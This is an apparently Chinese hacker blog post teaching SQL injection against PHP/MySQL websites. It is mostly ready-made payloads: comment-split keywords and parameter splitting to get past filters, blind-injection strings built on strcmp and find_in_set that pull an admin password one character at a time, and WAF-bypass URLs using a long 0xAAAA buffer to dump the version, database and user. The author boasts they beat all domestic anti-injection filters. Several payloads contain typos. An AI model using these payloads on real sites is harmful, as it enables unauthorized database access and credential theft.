前段时间,帮别人看网站,习惯性的’,and 1=1 其实知道这种肯定被过滤,但还是测试了
php+mysql
首先说判断:
Null值相信大家不陌生吧,可这么用: and 1 is null,and 1 is not null
或: and 2<=3
其实,很多人习惯性的用=号来判断了,但是,如: >= ,<= ,is null,is not null,<>等 都可用于判断
接着说注入
对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)
先说Union Select
对于常规的注射,我们可以union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4
Ok,看我演示, id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4 够恶心吧?
可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去
查查相关资料,有异议的可给我留言.
当然,在语句传递多个参数时 例如 slect * from table where id = 1 and name = xxx ,我们可这么做:
id=1+union/*&name=*/select+1,2
代入查询后 slect * from table where id = 1 union /* and name = xxx */ select 1,2
这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻
下面说说Blind SqlIjection(盲注)
一般方式,我想大家应该是这么做的: ascii(substring(password,1,1))=56,或者是
ord(mid(password,1,1))=56
在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据
此前,仍然向大家推荐一些新型的手法:
find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1
strcmp 例: strcmp(left(‘password’,1), 0×56) = 1
将这些函数套如子查询就是:
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true
id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false
老外NB 方法 还有 -.-
悲剧还是绕不过去,nnd。要是国内
的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
http://www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
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AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-
http://www.xxx.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
ser()),3,4,5,6–+-
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